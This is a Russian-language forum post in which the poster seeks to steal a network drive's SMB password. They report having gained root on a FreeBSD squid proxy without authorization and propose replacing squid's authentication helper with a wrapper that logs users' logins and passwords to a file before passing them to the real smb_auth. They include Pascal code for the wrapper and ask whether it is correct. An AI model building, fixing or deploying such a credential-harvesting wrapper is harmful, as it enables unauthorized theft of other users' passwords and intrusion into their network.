Пароль сетевого диска

Есть компьютер на нем переодически подключается сетевой диск, но чаше всего его можно застать уже подключенным. Каким образом можно утянуть пароль от уже подключенного сетевого диска или какой сниффер поставить (чтоб стырить пароль при подключении)?

 

В сети еще есть прокси (smb стоит на одном компе, прокси на другом). Сейчас сделали так, что чтобы заюзать прокси нужно ввести свой логин и пароль от smb. Получил root от компа с проксей. Стоит FreeBSD 7.2, прокси - squid. Насколько понимаю это строка про аунтификацаю: auth_param basic program /usr/local/bin/smb_auth -W <домен> -U <ip самбы>
Сразу появилась идея заменить "/usr/local/bin/smb_auth -W <домен> -U <ip самбы>" на что-то своё, что будет писать в файл логин и пароль, выполнять "/usr/local/bin/smb_auth -W <домен> -U <ip самбы>" и возвращать результат. Уже смог заставить lazarus компилить под freebsd. Пытался, что-то написать, но проверить не могу (не заработает - найдут и покарают !):

Code:

program Hello;
uses
  process;
var
  f: text;
  i, b:integer;
  s: string;
  MyProc: TProcess;
begin
  s:='';
  for i:=1 to ParamCount do
    s:=s+ParamStr(i)+' ';
  MyProc := TProcess.Create(nil);
  MyProc.CommandLine := s;
  MyProc.Execute;
  b:=MyProc.ExitStatus;
  MyProc.Free;
  Assign(f, './test.txt');
  Append(f);
  Writeln(f, s, ':', b);
  close(f);
  ExitCode:=b;
end.

Я правельно написал?